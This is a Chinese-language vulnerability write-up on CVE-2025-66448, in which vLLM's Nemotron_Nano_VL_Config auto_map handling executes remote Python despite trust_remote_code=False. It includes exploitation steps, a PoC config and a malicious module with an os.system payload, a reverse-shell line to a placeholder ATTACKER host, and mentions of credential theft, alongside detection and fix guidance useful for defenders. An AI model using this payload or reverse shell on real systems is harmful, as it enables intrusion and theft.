vLLM <0.11.1 Nemotron_Nano_VL_Config auto_map 绕过 trust_remote_code:加载模型即执行远程 Python(CVE-2025-66448)
ai-security/supply-chain · verified
一句话结论
vLLM 0.11.1 之前,自定义配置类 Nemotron_Nano_VL_Config 在解析模型 config.json 的 auto_map 时,会无条件调用 get_class_from_dynamic_module(...) 下载并实例化远程仓库中的 Python 类;该路径没有 trust_remote_code 参数,即使用户显式设置 trust_remote_code=False,加载一个“前端看似无害、auto_map 指向恶意后端仓库”的模型仍会在受害者主机上执行任意代码(CVE-2025-66448)。
原理
- Hugging Face 的
config.json支持auto_map字段,用字符串指定自定义配置类的位置,例如:json {"auto_map": {"AutoConfig": "my_malicious_repo--main--MaliciousConfig"}}正常情况下,transformers只有在trust_remote_code=True时才会下载并导入该模块。 - vLLM 为支持 Nemotron Nano VL 模型,内置了
Nemotron_Nano_VL_Config配置类;加载模型配置时,vLLM 的transformers_utils/config.py识别到auto_map后,会调用try_get_class_from_dynamic_module解析并实例化对应类。 try_get_class_from_dynamic_module是对transformers.dynamic_module_utils.get_class_from_dynamic_module的薄封装:- 签名中没有
trust_remote_code参数,也不读取环境/配置中的该标志; - 内部直接调用底层函数,后者会从远程 Hub 下载 Python 源码、用
importlib执行并实例化类; - 异常被捕获后只记录 warning 并返回
None(静默失败),成功加载时也没有安全提示。 - 因此安全开关“在 API 层存在、在真正执行风险动作的底层缺失”:
get_config(..., trust_remote_code=False)传入后,auto_map分支仍然下载并执行远程代码。Python 的 import 语义是“导入即执行”,模块顶层代码在实例化前就运行。 - 攻击者可拆分仓库:前端仓库只放一个看似合法的
config.json,auto_map指向另一个攻击者控制的后端仓库;受害者只需加载前端模型,后端代码即在模型加载阶段执行。 - 修复(0.11.1)不是给调用点补
trust_remote_code,而是直接移除触发路径:删除nemotron_vl.py中的Nemotron_Nano_VL_Config、从configs/__init__.py的 import/__all__中移除该类,并把Llama_Nemotron_Nano_VL的映射改为{"attn_implementation": "eager"},使攻击者无法再通过该 model_type 走到动态加载。
触发条件
- 目标运行 vLLM < 0.11.1(0.11.1 修复)。
- 受害者加载的模型仓库/本地模型目录的
config.json含攻击者可控的auto_map,其AutoConfig(或相关键)指向可下载/可导入的恶意 Python 模块。 - 加载过程能访问该模块所在仓库(Hugging Face Hub、ModelScope、本地路径或可控缓存),且 vLLM 进程有权限执行 Python。
- 用户即使设置了
trust_remote_code=False也不构成防护。
利用步骤
- 准备恶意后端仓库:放置
malicious.py,模块顶层执行命令/反弹 shell,并定义MaliciousConfig类。 - 准备前端仓库:
config.json的auto_map指向后端仓库,例如:json { "model_type": "nemotron_nano_vl", "auto_map": { "AutoConfig": "attacker/backend-repo--main--MaliciousConfig" } } - 诱导受害者用 vLLM 加载前端模型:
vllm serve attacker/front-repo或LLM(model="attacker/front-repo", trust_remote_code=False)。 - vLLM 解析配置 →
try_get_class_from_dynamic_module→get_class_from_dynamic_module下载并执行后端模块,命令在模型加载阶段运行。 - 验证:观察进程子进程/回连/文件写入;成功后替换为反弹 shell、窃取模型与凭证、修改权重或横向移动。
PoC
{
"model_type": "nemotron_nano_vl",
"auto_map": {
"AutoConfig": "attacker/backend-repo--main--MaliciousConfig"
}
}
# 后端仓库 malicious.py:模块顶层代码在 import/exec_module 时立即执行
import os
os.system("id > /tmp/vllm_pwned")
# 或反弹 shell:os.system("bash -i >& /dev/tcp/ATTACKER/4444 0>&1")
class MaliciousConfig:
pass
# 受害者侧:trust_remote_code=False 仍会执行
from vllm import LLM
llm = LLM(model="attacker/front-repo", trust_remote_code=False)
变体与关联
- 同一 wrapper 的其他调用点:vLLM 的
ModelRegistry._try_resolve_transformers()也曾漏传trust_remote_code(另一 CVE,见 [[ai-security-supply-chain-vllm-auto-map-trust-remote-code-bypass]]);审计时应搜索所有get_class_from_dynamic_module/exec_module调用。 auto_map的其他键:AutoModel、AutoTokenizer、AutoConfig等都可能指向恶意模块;只要目标代码不校验trust_remote_code,就能触发。- 投毒方式:直接发布恶意模型、污染合法仓库/缓存、在本地模型目录放置恶意文件;前端/后端仓库拆分可绕过只检查前端仓库的安全扫描。
- 关联:[[ai-security-supply-chain-huggingface-pickle-model-reverse-shell]](模型权重 pickle 反序列化 RCE)、[[ai-security-supply-chain-pytorch-export-load-use-pickle-rce]](torch.load 模型加载 RCE)。
- 边界:0.11.1+ 已删除 Nemotron_Nano_VL_Config 路径;若目标使用其他仍存在缺陷的自定义配置类/调用点,可能仍有同类问题,需要按实际版本审计。
检测与防御
- 检测:检查 vLLM 版本是否 <0.11.1;审计模型
config.json中的auto_map是否指向非预期仓库;监控模型加载阶段的异常子进程、外连与文件写入;日志中出现Unable to load ... from HF Hub的 warning 也可能是探测/失败尝试。 - 修复:升级到 0.11.1+;不要加载来源不明的模型仓库;对模型仓库做
auto_map/自定义代码静态扫描。 - 加固:在无网络/无敏感凭证的沙箱中加载模型;限制 vLLM 进程权限;对模型仓库做签名/哈希校验;默认禁止远程代码并确保所有动态加载入口都强制执行该策略。